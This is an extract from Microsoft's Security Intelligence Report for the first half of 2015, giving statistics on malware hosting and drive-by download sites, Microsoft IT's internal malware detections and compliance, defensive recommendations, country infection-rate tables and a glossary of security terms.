Malware hosting sites and impressions tracked each month, FebruaryJuly 2015, relative to the monthly average for each As with phishing sites and impressions, malware hosting sites and impressions rarely correlate strongly with one another.
The number of impressions remained largely stable each month from February through July, while the number of active malware hosting sites tracked by SmartScreen Filter increased sharply from February to April, then retreated to lower levels for the remainder of the period.
0 20 40 60 80 100 120 140 160 180 February March April May June July P e rc e n t o f m o n th ly a ve ra g e Sites Impressions Average MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   105 Global distribution of malware hosting sites and clients Figure 84 shows the geographic distribution of malware hosts and computers reporting impressions in 1H15.
Figure 84.
Malware distribution sites per 1,000 Internet hosts for locations around the world in 1H15 SmartScreen Filter detected approximately 16.7 malware hosting sites per 1,000 Internet hosts worldwide in 1H15.
Locations with large concentrations of malware hosting sites included Brazil (41.0 per 1,000 Internet hosts in 1H15), Costa Rica (38.8), and Russia (23.9).
Locations with low concentrations of malware hosting sites included Taiwan (2.8), Saudi Arabia (4.3), and Finland (4.4).
Drive-by download sites A drive-by download site is a website that hosts one or more exploits that target vulnerabilities in web browsers and browser add-ons.
Users with vulnerable computers can be infected with malware simply by visiting such a website, even without attempting to download anything.
Drive-by download pages are usually hosted on legitimate websites to which an attacker has posted exploit code.
Attackers gain access to legitimate sites through intrusion or by posting malicious code to a poorly secured web form, like a comment field on a blog.
Compromised sites can be hosted anywhere in the world and concern nearly any subject imaginable, making it difficult for even an experienced user to identify a compromised site from a list of search results.
106 MALICIOUS WEBSITES Figure 85.
One example of a drive-by download attack Search engines such as Bing have taken a number of measures to help protect users from drive-by downloads.
As Bing indexes webpages, they are assessed for malicious elements or malicious behavior.
Because the owners of compromised sites are usually victims themselves, the sites are not removed from the Bing index.
Instead, clicking the link in the list of search results displays a prominent warning, saying that the page may contain malicious software, as shown in Figure 86.
Figure 86.
A drive-by download warning from Bing MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   107 Figure 87 shows the concentration of drive-by download pages in countries and regions throughout the world at the end of 1Q15 and 2Q15, respectively.
Figure 87.
Drive-by download pages indexed by Bing at the end of 1Q15 (top) and 2Q15 (bottom), per 1,000 URLs in each country/region Each map shows the concentration of drive-by download URLs tracked by Bing in each country or region on a reference date at the end of the associated quarter, expressed as the number of drive-by download URLs per every 1,000 URLs hosted in the country/region.
Significant locations with high concentrations of drive-by download URLs in both quarters include Panama, with 8.7 drive-by URLs for every 1,000 URLs tracked by Bing at the end of 2Q15 Vietnam, with 3.0 and Russia, with 1.7.
108 MALICIOUS WEBSITES Guidance: Protecting users from unsafe websites One of the best ways organizations can protect their users from malicious and compromised websites is by mandating the use of web browsers with appropriate protection features built in and by promoting safe browsing practices.
For in-depth guidance, see Top security solutions at www.microsoft.com/security/pc-security/solutions.aspx.
http://www.microsoft.com/security/pc-security/solutions.aspx Mitigating risk Malware at Microsoft: Dealing with threats in the Microsoft environment ........................................................... 111 110 MALICIOUS WEBSITES MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   111 Malware at Microsoft: Dealing with threats in the Microsoft environment Microsoft IT Microsoft IT provides information technology services internally for Microsoft employees and resources.
Microsoft IT manages more than 600,000 devices for more than 150,000 users across more than 100 countries and regions worldwide.
Safeguarding a computing infrastructure of this size requires implementation of strong security policies, technology to help keep malware off the network and away from mission-critical resources, and dealing with malware outbreaks swiftly and comprehensively when they occur.
This section of the report compares the potential impact of malware to the levels of antimalware compliance from more than 500,000 workstation computers and devices managed by Microsoft IT between January and June 2015.
This data is compiled from multiple sources, including System Center Endpoint Protection (SCEP), Windows Defender, DirectAccess, forensics, and manual submission of suspicious files.
Comparing the nature and volume of the malware detected on these computers to the level of protection they receive can illustrate significant trends and provide insights as to the effectiveness of antimalware software and security best practices.
Antimalware usage Real-time antimalware software is required on all user devices that connect to the Microsoft corporate network.
System Center Endpoint Protection 2012 (SCEP) and Windows Defender are the antimalware solutions that Microsoft IT deploys to its users.
To be considered compliant with antimalware policies and standards, user computers must be running the latest version of the SCEP or Defender client, antimalware signatures must be no more than six days old, and real-time protection must be enabled.
112 MALWARE AT MICROSOFT: DEALING WITH THREATS IN THE MICROSOFT ENVIRONMENT Figure 88 shows the level of antimalware noncompliance in the Microsoft user workstation environment for each month in 1H15.
Figure 88.
Percentage of computers at Microsoft running real-time antimalware software in 1H15 Despite a small drop in compliance at the beginning of the year that was mostly related to internal testing of current and future versions of Windows, the average monthly compliance rate at Microsoft exceeded 98 percent during the first half of the year.
In any network of this size, it is almost inevitable that a small number of computers will be in a noncompliant state at any given time.
In most cases, these are computers that are being rebuilt or are otherwise in a state of change when online, rather than computers that have had their antimalware software intentionally disabled.
Microsoft IT believes that a compliance rate in excess of 98 percent among approximately half a million computers is an acceptable level of compliance.
In most cases, attempting to boost a large organizations compliance rate the rest of the way to 100 percent will likely be a costly endeavor, and the end result 100 percent compliancewill be unsustainable over time.
Malware detections Figure 89 shows the categories of malware and unwanted software that were most frequently detected at Microsoft in 1H15.
0 10 20 30 40 50 60 70 80 90 100 January February March April May June P e rc e n t o f co m p u te rs r u n n in g r e a l- ti m e a n ti m a lw a re s o ft w a re MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   113 Figure 89.
Top categories of malware and unwanted software detected by System Center Endpoint Protection at Microsoft in 1H15 In this section, malware detections are defined as files and processes flagged by SCEP, regardless of the success or failure of automated containment or remediation.
Malware detections are a measure of attempted malware activity, and do not necessarily indicate that a computer has been successfully infected.
(
Note that the methodology for assessing encounters used elsewhere in this report counts unique computers with detections, an approach that differs from the methodology used in this section, in which individual detections are counted.
For example, if a computer encountered one trojan family in February and another one in June, it would only be counted once for the purposes of figures such as Figure 49 on page 70.
In the preceding Figure 89, it would be counted twice, once for each detection.)
Adware was the most prevalent category, with nearly one and a half times as many detections as all other categories combined.
The outsized number of internal adware detections is caused by a pilot project that MSIT has undertaken with the Microsoft Security Response Center (MSRC) to improve detection of adware and other unwanted software.
As this work is evaluated and found to produce valid and satisfactory results, any improved detection methods will be incorporated into Microsoft security products for the benefit of customers and end users.
0 200,000 400,000 600,000 800,000 1,000,000 1,200,000 1,400,000 Adware Downloaders Droppers Browser Modifiers Trojans Exploits Other Malware Worms Viruses Backdoors Password Stealers Monitoring Tools T h re a t d e te ct io n s 114 MALWARE AT MICROSOFT: DEALING WITH THREATS IN THE MICROSOFT ENVIRONMENT Figure 90 shows the top 10 file types among threat detections at Microsoft in 1H15.
Figure 90.
Top ten file types used by threats detected at Microsoft in 1H15 Executable program files with the .exe extension were the most commonly detected type of malicious file at Microsoft by a large margin.
Many of these detections were related to the joint effort between MSIT and the MSRC to improve detection of unwanted software, as noted earlier.
Malicious .dll files were the next most common type of threats, followed by the .tmp and .temp extensions, typically used for temporary files.
Transmission vectors Examining the processes targeted by malware can help illustrate the methods that attackers use to propagate it.
Figure 91 lists the top five transmission vectors used by the malware encountered at Microsoft in 1H15.
0 200,000 400,000 600,000 800,000 1,000,000 1,200,000 1,400,000 .exe .dll .tmp .temp .xml .host .xls .htm .mp3 .lnk T h re a t d e te ct io n s MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   115 Figure 91.
The top five transmission vectors used by malware encountered at Microsoft in 1H15 Rank Description 1 Web browsing 2 File transfers in the operating system 3 Scheduled tasks in the operating system 4 Cloud backup/storage 5 File transfer applications The transmission vector most commonly used by infection attempts detected on Microsoft computers in 1H15 involved web browsing, followed by file transfers made through Windows Explorer and scheduled operating system tasks.
Cloud backup and storage services were fourth, followed by file transfer applications, including peer-to-peer (P2P) applications.
Malware infections Because almost all of the computers at Microsoft run real-time security software at all times, most infection attempts are detected and blocked before they are able to infect the target computer.
When Defender or SCEP do disinfect a computer, it is usually because the softwares signature database has been updated to enable it to detect a threat that it did not recognize when the computer first encountered the threat.
This lack of recognition may be because the threat is a new malware family, a new variant of a known family, a known variant that has been encrypted or otherwise repackaged to avoid detection, or because of some other reason.
The MMPC constantly analyzes malware samples submitted to it, develops appropriate detection signatures, and deploys them to customers who use SCEP, Microsoft Security Essentials, and Windows Defender.
Figure 92 shows the most commonly detected categories of malware and unwanted software that SCEP and Defender removed from computers at Microsoft between January and June of 2015.
116 MALWARE AT MICROSOFT: DEALING WITH THREATS IN THE MICROSOFT ENVIRONMENT Figure 92.
Infections and removals at Microsoft in 1H15, by category As this chart shows, detection and infection statistics were significantly different in 1H15.
Adware, which accounted for more than 1.2 million detections at Microsoft in 1H15, was not discovered on a single computer internally during the period.
Most of the other categories also show clear differences between Figure 89 and Figure 92, although the ordering in the latter chart is significantly influenced by the low volumes involved.
Figure 93 shows the top 10 file types used by malware to infect computers at Microsoft in 1H15.
0 5 10 15 20 25 30 35 Downloaders Droppers Trojans Backdoors Worms Software Bundlers Obfuscators Injectors Other Malware T h re a t in fe ct io n s a n d r e m o va ls MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   117 Figure 93.
Infections and removals at Microsoft in 1H15, by file type Figure 93 is important because it provides information about threats that Defender and SCEP did not detect when they were first encounteredand therefore provides a clue about the areas in which malware authors have been focusing their efforts in recent months.
More than half of the malicious files removed from computers at Microsoft by Defender and SCEP in 1H15 had the extension .exe, used by executable program files, with seven extensions accounting for the remaining files.
The .doc extension used for Microsoft Word binary files was next, followed by .bin, .scr, and ._,
an extension consisting of a single underscore.
Four other file types each accounted for a single removal.
What IT departments can do to protect their users Evaluate commercially available management tools, develop a plan, and implement a third-party update mechanism to disseminate non-Microsoft updates.
Ensure that all software deployed on computers in the environment is updated regularly.
If the software provider offers an automatic update utility similar to Microsoft Update, ensure that it is enabled by default.
See Turn automatic updating on or off at windows.microsoft.com for instructions on enabling automatic updates of Microsoft software.
0 5 10 15 20 25 30 .exe .doc .bin .scr ._
.js .txt .chm .lnk T h re a t in fe ct io n s a n d r e m o va ls http://windows.microsoft.com/en-us/windows/turn-automatic-updating-on-off http://windows.microsoft.com/en-us/windows/turn-automatic-updating-on-off 118 MALWARE AT MICROSOFT: DEALING WITH THREATS IN THE MICROSOFT ENVIRONMENT Ensure that SmartScreen Filter is enabled in Internet Explorer.
See SmartScreen Filter: frequently asked questions at windows.microsoft.com for more information.
Use Group Policy to enforce configurations for Windows Update, Windows Firewall, and SmartScreen Filter.
See Knowledge Base article KB328010 at support.microsoft.com, and Windows Firewall with Advanced Security Deployment Guide and Manage Privacy: SmartScreen Filter and Resulting Internet Communication at technet.microsoft.com for instructions.
Set the default configuration for antimalware to enable real-time protection across all drives, including removable devices.
Enable Microsoft Active Protection Service (MAPS) advanced membership in Windows Defender and Microsoft Security Essentials in your organization to protect your enterprise software security infrastructure in the cloud.
Figure 94.
Enabling MAPS advanced membership in Windows Defender Identify business dependencies on Java and develop a plan to minimize its use where it is not needed.
Use AppLocker to block the installation and use of unwanted software such as Java or peer-to-peer (P2P) applications.
See AppLocker: Frequently Asked Questions at technet.microsoft.com for more information.
http://windows.microsoft.com/en-US/internet-explorer/use-smartscreen-filter http://support.microsoft.com/kb/328010 https://technet.microsoft.com/library/jj717241.aspx https://technet.microsoft.com/library/jj717241.aspx http://technet.microsoft.com/library/jj618329.aspx http://technet.microsoft.com/library/jj618329.aspx http://blogs.technet.com/b/mmpc/archive/2015/01/20/maps-in-the-cloud_3A00_-how-can-it-help-your-enterprise_3F00_.aspx http://technet.microsoft.com/library/ee619725(vWS.10).aspx http://technet.microsoft.com/library/ee619725(vWS.10).aspx MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   119 Implement the Enhanced Mitigation Experience Toolkit (EMET), if possible, to minimize exploitation of vulnerabilities in all software in your environment.
See technet.microsoft.com/security/jj653751 for more information.
Implement strong password policies, and require employees to change their passwords periodically.
Strengthen authentication by using smart cards.
See Smart Cards at technet.microsoft.com for more information.
Use Network Access Protection (NAP) and DirectAccess (DA) to enforce compliance policies for firewall, antimalware, and patch management on remote systems that connect to a corporate network.
See Network Access Protection at msdn.microsoft.com and Windows 7 DirectAccess Explained at technet.microsoft.com for more information.
http://technet.microsoft.com/security/jj653751 http://technet.microsoft.com/library/dd277362.aspx http://msdn.microsoft.com/library/windows/desktop/aa369712(vvs.85).aspx http://technet.microsoft.com/video/windows-7-directaccess-explained.aspx Appendixes Appendix A: Threat naming conventions .............................. 123 Appendix B: Data sources ........................................................... 125 Appendix C: Worldwide encounter and infection rates .... 127 Glossary ............................................................................................. 132 Threat families referenced in this report................................ 141 Index ..................................................................................................148 122 MALWARE AT MICROSOFT: DEALING WITH THREATS IN THE MICROSOFT ENVIRONMENT MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   123 Appendix A: Threat naming conventions Microsoft names the malware and unwanted software that it detects according to the Computer Antivirus Research Organization (CARO) Malware naming scheme.
This scheme uses the following format: Figure 95.
The Microsoft malware naming convention When Microsoft analysts research a particular threat, they will determine what each of the components of the name will be.
Type The type describes what the threat does on a computer.
Worms, trojans, and viruses are some of the most common types of threats Microsoft detects.
Platform The platform refers to the operating system (such as Windows, Mac OS X, and Android) that the threat is designed to work on.
Platforms can also include programming languages and file formats.
Family A group of threats with the same name is known as a family.
Sometimes different security software companies use different names.
124 APPENDIX A: THREAT NAMING CONVENTIONS Variant letters Variant letters are used sequentially for each different version or member of a family.
For example, the detection for the variant .AF would have been created after the detection for the variant .AE.
Additional information Additional information is sometimes used to describe a specific file or component that is used by another threat in relation to the identified threat.
In the preceding example, the lnk indicates that the threat is a shortcut file used by the Backdoor:Win32/Caphaw.
D variant, as shortcut files usually use the extension .lnk.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   125 Appendix B: Data sources Data included in the Microsoft Security Intelligence Report is gathered from a wide range of Microsoft products and services whose users have opted in to provide usage data.
The scale and scope of this telemetry data allows the report to deliver the most comprehensive and detailed perspective on the threat landscape that is available in the software industry: Bing, the search and decision engine from Microsoft, contains technology that performs billions of webpage scans per year to seek out malicious content.
After such content is detected, Bing displays warnings to users about it to help prevent infection.
Exchange Online is Microsofts hosted email service for business.
Exchange Online antimalware and antispam services scan billions of messages every year to identify and block spam and malware.
The Malicious Software Removal Tool (MSRT) is a free tool that Microsoft designed to help identify and remove specific prevalent malware families from customer computers.
The MSRT is primarily released as an important update through Windows Update, Microsoft Update, and Automatic Updates.
A version of the tool is also available from the Microsoft Download Center.
The MSRT was downloaded and executed more than 600 million times each month on average in 1H15.
The MSRT is not a replacement for an up-to-date real-time antivirus solution.
The Microsoft Safety Scanner is a free downloadable security tool that provides on-demand scanning and helps remove malware and other malicious software.
The Microsoft Safety Scanner is not a replacement for an up-to-date antivirus solution, because it does not offer real-time protection and cannot prevent a computer from becoming infected.
Microsoft Security Essentials is a free, easy-to-download real-time protection product that provides basic, effective antivirus and antispyware protection for Windows Vista and Windows 7.
Microsoft System Center Endpoint Protection (formerly Forefront Client Security and Forefront Endpoint Protection) is a unified product that provides protection from malware and unwanted software for enterprise desktops, laptops, and server operating systems.
It uses the Microsoft http://www.microsoft.com/security/portal/ https://products.office.com/exchange/exchange-online http://www.microsoft.com/security/pc-security/malware-removal.aspx http://www.microsoft.com/security/scanner http://windows.microsoft.com/en-us/windows/security-essentials-all-versions https://technet.microsoft.com/en-us/library/hh508836.aspx 126 APPENDIX B: DATA SOURCES Malware Protection Engine and the Microsoft antivirus signature database to provide real-time, scheduled, and on-demand protection.
Office 365 is the Microsoft Office subscription service for business and home users.
Select business plans include access to Exchange Online with Advanced Threat Protection.
SmartScreen Filter, a feature in Internet Explorer and Microsoft Edge, offers users protection against phishing sites and sites that host malware.
Microsoft maintains a database of phishing and malware sites reported by users of Internet Explorer and other Microsoft products and services.
When a user attempts to visit a site in the database with the filter enabled, the browser displays a warning and blocks navigation to the page.
Windows Defender in Windows 8 and Windows 8.1 provides real-time scanning and removal of malware and unwanted software.
Windows Defender Offline is a downloadable tool that can be used to create a bootable CD, DVD, or USB flash drive to scan a computer for malware and other threats.
It does not offer real-time protection and is not a substitute for an up-to-date antimalware solution.
Figure 96.
US privacy statements for the Microsoft products and services used in this report Product or service Privacy statement URL Bing www.microsoft.com/en-us/privacystatement/default.aspx Exchange Online www.microsoft.com/online/legal/v2/?docid22langiden-us Internet Explorer 11 windows.microsoft.com/en-us/internet-explorer/ie11-preview-privacy-statement Malicious Software Removal Tool  www.microsoft.com/security/pc-security/msrt-privacy.aspx Microsoft Security Essentials  windows.microsoft.com/en-us/windows/security-essentials-privacy Microsoft Safety Scanner  www.microsoft.com/security/scanner/en-us/privacy.aspx Office 365 www.microsoft.com/online/legal/v2/?docid22langiden-us System Center Endpoint Protection https://www.microsoft.com/privacystatement/en-us/SystemCenter2012R2/ Default.aspxtilepspSystemCenter2012R2EndpointProtectionModule Windows Defender in Windows 8.1 windows.microsoft.com/en-us/windows-8/windows-8-1-privacy- statementT1supplementsection_43 Windows Defender Offline windows.microsoft.com/en-us/windows/windows-defender-offline-privacy http://products.office.com/business http://windows.microsoft.com/en-US/internet-explorer/use-smartscreen-filter http://www.microsoft.com/security/pc-security/windows-defender.aspx http://windows.microsoft.com/en-us/windows/what-is-windows-defender-offline http://www.microsoft.com/en-us/privacystatement/default.aspx http://www.microsoft.com/online/legal/v2/?docid22langiden-us http://windows.microsoft.com/en-us/internet-explorer/ie11-preview-privacy-statement http://www.microsoft.com/security/pc-security/msrt-privacy.aspx http://windows.microsoft.com/en-us/windows/security-essentials-privacy http://www.microsoft.com/security/scanner/en-us/privacy.aspx http://www.microsoft.com/online/legal/v2/?docid22langiden-us https://www.microsoft.com/privacystatement/en-us/SystemCenter2012R2/Default.aspxtilepspSystemCenter2012R2EndpointProtectionModule https://www.microsoft.com/privacystatement/en-us/SystemCenter2012R2/Default.aspxtilepspSystemCenter2012R2EndpointProtectionModule http://windows.microsoft.com/en-us/windows-8/windows-8-1-privacy-statementT1supplementsection_43 http://windows.microsoft.com/en-us/windows-8/windows-8-1-privacy-statementT1supplementsection_43 http://windows.microsoft.com/en-us/windows/windows-defender-offline-privacy MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   127 Appendix C: Worldwide encounter and infection rates Malware and unwanted software on page 58 explains how threat patterns differ significantly in different parts of the world.
Figure 97 shows the infection and encounter rates for 1Q15 and 2Q15 for locations around the world.22 See page 58 for information about how infection and encounter rates are calculated.
Figure 97.
Encounter and infection rates for locations around the world, 1Q152Q15, by quarter (100,000 computers reporting minimum) Country/region Encounter rate 1Q15 Encounter rate 2Q15 CCM 1Q15 CCM 2Q15 Worldwide 17.3 14.8 5.4 8.4 Albania 37.6 31.1 35.2 36.8 Algeria 45.5 39.7 54.0 57.2 Angola   35.5 40.9 Argentina 23.7 21.4 8.0 15.7 Armenia 35.3 26.6 11.6 13.5 Australia 11.9 11.2 2.2 5.0 Austria 12.8 10.7 2.1 4.1 Azerbaijan 31.9 24.4 29.0 34.1 The Bahamas   9.0 17.3 Bahrain 0.0 21.8 18.8 29.0 Bangladesh 43.2 39.7 29.8 32.8 Barbados   4.1 12.0 Belarus 29.9 22.4 7.3 8.8 Belgium 16.0 13.5 2.4 6.0 Bolivia 26.3 24.1 16.7 24.6 22 Encounter rate and CCM are shown for locations with at least 100,000 computers running Microsoft real- time security products and the Malicious Software Removal Tool, respectively, during a quarter.
Only computers whose users have opted in to provide data to Microsoft are considered when calculating encounter and infection rates.
128 APPENDIX C: WORLDWIDE ENCOUNTER AND INFECTION RATES Country/region Encounter rate 1Q15 Encounter rate 2Q15 CCM 1Q15 CCM 2Q15 Bosnia and Herzegovina 33.2 26.7 16.2 24.4 Brazil 20.5 20.2 8.0 16.2 Bulgaria 31.4 24.1 9.1 12.7 Cambodia 35.7 34.4 18.6 22.5 Cameroon   36.1 33.1 Canada 14.0 12.5 2.0 4.5 Chile 23.1 20.9 7.6 20.3 China 13.1 13.7 3.8 4.4 Colombia 24.2 20.9 9.9 25.1 Costa Rica 18.3 14.5 6.8 11.2 Cte dIvoire   32.5 30.8 Croatia 28.8 22.3 5.7 12.0 Cyprus 25.3 18.8 7.4 12.8 Czech Republic 18.1 14.7 4.6 6.7 Denmark 10.6 10.2 2.0 4.2 Dominican Republic 31.4 27.2 24.2 33.5 Ecuador 28.4 23.9 11.1 19.9 Egypt 39.8 35.5 49.8 55.8 El Salvador 24.0 20.1 7.4 17.3 Estonia 17.7 14.3 2.3 6.2 Finland 6.1 6.0 1.3 2.5 France 15.8 13.2 2.7 8.9 Georgia 37.2 29.7 25.4 27.2 Germany 11.1 8.9 2.1 4.6 Ghana 39.0 36.2 22.1 25.4 Greece 23.8 17.1 7.0 10.3 Guadeloupe   4.9 13.5 Guatemala 20.9 18.2 8.7 17.1 Honduras 25.8 23.4 11.6 25.8 Hong Kong SAR 11.8 10.5 3.5 7.0 Hungary 22.3 17.6 4.9 8.1 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   129 Country/region Encounter rate 1Q15 Encounter rate 2Q15 CCM 1Q15 CCM 2Q15 Iceland 14.8 11.0 2.8 5.6 India 34.9 31.3 24.2 30.4 Indonesia 42.8 40.6 30.6 38.2 Iraq 41.4 34.4 76.6 80.2 Ireland 13.6 12.3 2.2 5.4 Israel 20.4 16.1 9.5 13.7 Italy 19.5 15.3 3.3 8.8 Jamaica 29.1 24.3 10.0 18.7 Japan 5.5 5.4 0.9 2.8 Jordan 39.5 33.3 36.6 45.3 Kazakhstan 31.4 24.6 21.6 21.6 Kenya 31.3 28.9 18.9 22.9 Korea 12.8 10.3 7.2 13.8 Kuwait 27.6 22.7 17.6 27.1 Latvia 23.1 16.2 3.2 6.1 Lebanon 33.5 28.4 31.7 42.5 Libya   61.0 69.8 Lithuania 24.7 18.7 5.0 8.9 Luxembourg   2.1 5.4 Macao SAR   5.1 8.1 Macedonia, FYRO 33.6 28.5 16.8 21.9 Malaysia 26.4 23.9 16.3 21.8 Malta   3.3 9.5 Martinique   3.3 11.0 Mauritius   11.4 20.8 Mexico 22.6 21.2 11.4 18.6 Moldova 29.3 21.5 10.3 12.4 Mongolia   66.8 77.6 Morocco 36.9 29.2 58.2 66.6 Mozambique   21.1 28.9 Namibia   16.3 23.1 130 APPENDIX C: WORLDWIDE ENCOUNTER AND INFECTION RATES Country/region Encounter rate 1Q15 Encounter rate 2Q15 CCM 1Q15 CCM 2Q15 Nepal 45.0 39.0 39.1 43.7 Netherlands 12.9 11.6 1.8 4.3 New Zealand 12.8 12.0 2.6 4.7 Nicaragua   5.7 15.1 Nigeria 31.4 28.0 25.9 28.7 Norway 9.8 10.2 2.0 3.9 Oman 35.3 30.6 25.8 37.6 Pakistan 51.2 45.1 55.9 58.6 Palestinian Authority 44.9 40.5 59.5 68.7 Panama 22.6 20.0 8.1 15.0 Paraguay   10.4 20.3 Peru 25.3 23.3 13.5 23.4 Philippines 32.0 29.1 30.9 37.6 Poland 16.4 13.0 7.7 11.5 Portugal 22.3 18.9 3.3 9.4 Puerto Rico 19.5 16.8 6.8 13.4 Qatar 30.2 24.3 14.3 24.6 Runion 18.8 13.2 3.3 10.9 Romania 29.4 22.5 16.5 20.9 Russia 22.8 17.7 4.7 6.6 Saudi Arabia 31.3 26.4 24.1 31.3 Senegal 42.1 37.0 20.6 24.4 Serbia 31.1 25.6 12.1 18.8 Singapore 14.8 14.0 4.5 8.9 Slovakia 18.9 14.5 6.7 9.0 Slovenia 20.2 15.4 3.4 6.9 South Africa 22.8 20.4 10.7 14.4 Spain 19.6 16.4 4.3 12.4 Sri Lanka 31.9 26.6 16.4 22.6 Sweden 9.9 8.9 2.0 4.1 Switzerland 12.4 11.0 1.5 3.8 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   131 Country/region Encounter rate 1Q15 Encounter rate 2Q15 CCM 1Q15 CCM 2Q15 Taiwan 14.3 13.6 5.4 8.6 Tanzania   22.7 26.8 Thailand 26.8 22.9 22.3 31.0 Trinidad and Tobago 26.3 21.9 9.6 16.8 Tunisia 43.1 36.4 36.2 50.1 Turkey 32.0 28.1 22.5 26.3 Ukraine 31.1 23.8 7.3 8.9 United Arab Emirates 31.1 25.4 16.7 27.0 United Kingdom 12.7 11.7 2.3 5.8 United States 11.0 9.8 3.2 5.0 Uruguay 23.6 19.6 5.0 15.1 Venezuela 32.4 29.9 17.5 26.5 Vietnam 36.7 33.2 30.4 35.8 Zimbabwe   16.2 19.8 Worldwide 17.3 14.8 5.4 8.4 132 GLOSSARY Glossary For additional information about these and other terms, visit the MMPC glossary at www.microsoft.com/security/portal/Threat/Encyclopedia/Glossary.aspx.
account credentials Information presented to a service provider to verify that the holder of the credentials is authorized to access an account.
Account credentials typically take the form of user names paired with passwords, but other forms of identification are possible.
ActiveX control A software component of Microsoft Windows that can be used to create and distribute small applications through Internet Explorer.
ActiveX controls can be developed and used by software to perform functions that would otherwise not be available using typical Internet Explorer capabilities.
Because ActiveX controls can be used to perform a wide variety of functions, including downloading and running programs, vulnerabilities discovered in them may be exploited by malware.
In addition, cybercriminals may also develop their own ActiveX controls, which can do damage to a computer if a user visits a webpage that contains the malicious ActiveX control.
Address Space Layout Randomization (ASLR) A security feature in recent versions of Windows that randomizes the memory locations used by system files and other programs, which makes it harder for an attacker to exploit the system by targeting specific memory locations.
air gap The complete separation of a computer or network from others, with no wired or wireless data connections.
Data can only be exchanged across an air gap by physically transporting removable media from one computer to another.
ASEP See autostart extensibility point.
ASLR See Address Space Layout Randomization (ASLR).
autostart extensibility point (ASEP) A place in the registry or file system that Windows checks for programs and processes that should be automatically launched after boot.
Threats often add http://www.microsoft.com/security/portal/Threat/Encyclopedia/Glossary.aspx MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   133 themselves to one or more ASEPs to ensure that they run automatically whenever the computer is rebooted.
backdoor trojan A type of trojan that provides attackers with remote unauthorized access to and control of infected computers.
Bots are a subcategory of backdoor trojans.
Also see botnet.
boleto Short for boleto bancrio.
A popular payment method in Brazil, similar to an invoice.
Some threats steal money by altering boletos in web pages or email messages.
botnet A set of computers controlled by a command-and-control (CC) computer to execute commands as directed.
The CC computer can issue commands directly (often through Internet Relay Chat [IRC]) or by using a decentralized mechanism, such as peer-to-peer (P2P) networking.
Computers in a botnet are often called bots, nodes, or zombies.
browser modifier A program that changes browser settings, such as the home page, without adequate consent.
This also includes browser hijackers.
buffer overflow An error in an application in which the data written into a buffer exceeds the current capacity of that buffer, thus overwriting adjacent memory.
Because memory is overwritten, unreliable program behavior may result and, in certain cases, allow arbitrary code to run.
CC Short for command and control.
See botnet.
CCM Short for computers cleaned per mille (thousand).
The number of computers cleaned for every 1,000 executions of the Microsoft Malicious Software Removal Tool (MSRT).
For example, if the MSRT has 50,000 executions in a particular location in the first quarter of the year and removes infections from 200 computers, the CCM for that location in the first quarter of the year is 4.0 (200 50,000  1,000).
Also see encounter rate.
134 GLOSSARY clean To remove malware or unwanted software from an infected computer.
A single cleaning can involve multiple disinfections.
command and control See botnet.
credentials See account credentials.
definition See detection signature.
detection signature A set of characteristics that can identify a malware family or variant.
Signatures are used by antimalware products to determine whether a file is malicious or not.
Also see definition.
detonation chamber A sandbox environment in which potentially dangerous files can be automatically launched and monitored for possible malicious activity.
disclosure Revelation of the existence of a vulnerability to a third party.
disinfect To remove a malware or potentially unwanted software component from a computer or to restore functionality to an infected program.
Compare with clean.
double free vulnerability A vulnerability triggered when code attempts to free the same memory address twice.
This can cause memory corruption, which an attacker may be able to take advantage of if it is not handled properly.
downloader See downloader/dropper.
downloader/dropper A form of trojan that installs other malicious files to a computer that it has infected, either by downloading them from a remote computer or by obtaining them directly from a copy contained in its own code.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   135 encounter An instance of security software detecting a threat and blocking, quarantining, or removing it from the computer.
encounter rate The percentage of computers running Microsoft real-time security software that report detecting malware or potentially unwanted software, or report detecting a specific threat or family, during a period.
Also see infection rate.
exploit Malicious code that takes advantage of software vulnerabilities to infect a computer or perform other harmful actions.
exploit kit A collection of exploits bundled together and sold as commercial software.
A typical kit contains a collection of web pages that contain exploits for vulnerabilities in popular web browsers and add-ons, along with tools for managing and updating the kit firewall A program or device that monitors and regulates traffic between two points, such as a single computer and the network server, or one server to another.
generic A type of signature that is capable of detecting a variety of malware samples from a specific family, or of a specific type.
hash Text that has been encoded using a one-way cryptographic function that prevents it from being decrypted.
Also refers to a checksum produced by a hash function to identify or authenticate data.
heuristics A tool or technique that can help identify common patterns.
This can be useful for making generic detections for a malware family.
IFrame Short for inline frame.
An IFrame is an HTML document that is embedded in another HTML document.
Because the IFrame loads another webpage, it can be used by criminals to place malicious content, such as a script that downloads and installs spyware, into non-malicious HTML pages that are hosted by trusted websites.
136 GLOSSARY in the wild Said of malware that is currently detected on active computers connected to the Internet, as compared to those confined to internal test networks, malware research laboratories, or malware sample lists.
infection The presence of malware on a computer, or the act of delivering or installing malware on a computer.
Also see encounter.
infection rate See CCM.
jailbreaking See rooting.
login credentials See account credentials.
Malicious Software Removal Tool A free tool that Microsoft designed to help identify and remove specific prevalent malware families from customer computers.
An updated version of the tool is released each month through Windows Update and other updating services.
The MSRT is not a replacement for an up-to-date real-time antivirus solution.
malware Short for malicious software.
The general name for programs that perform unwanted actions on a computer, such as stealing personal information.
Some malware can steal banking details, lock a computer until the user pays a ransom, or use the computer to send spam.
Viruses, worms and trojans are all types of malware.
malware impression A single instance of a user attempting to visit a page known to host malware and being blocked by SmartScreen Filter in Internet Explorer versions 8 through 11.
Also see phishing impression.
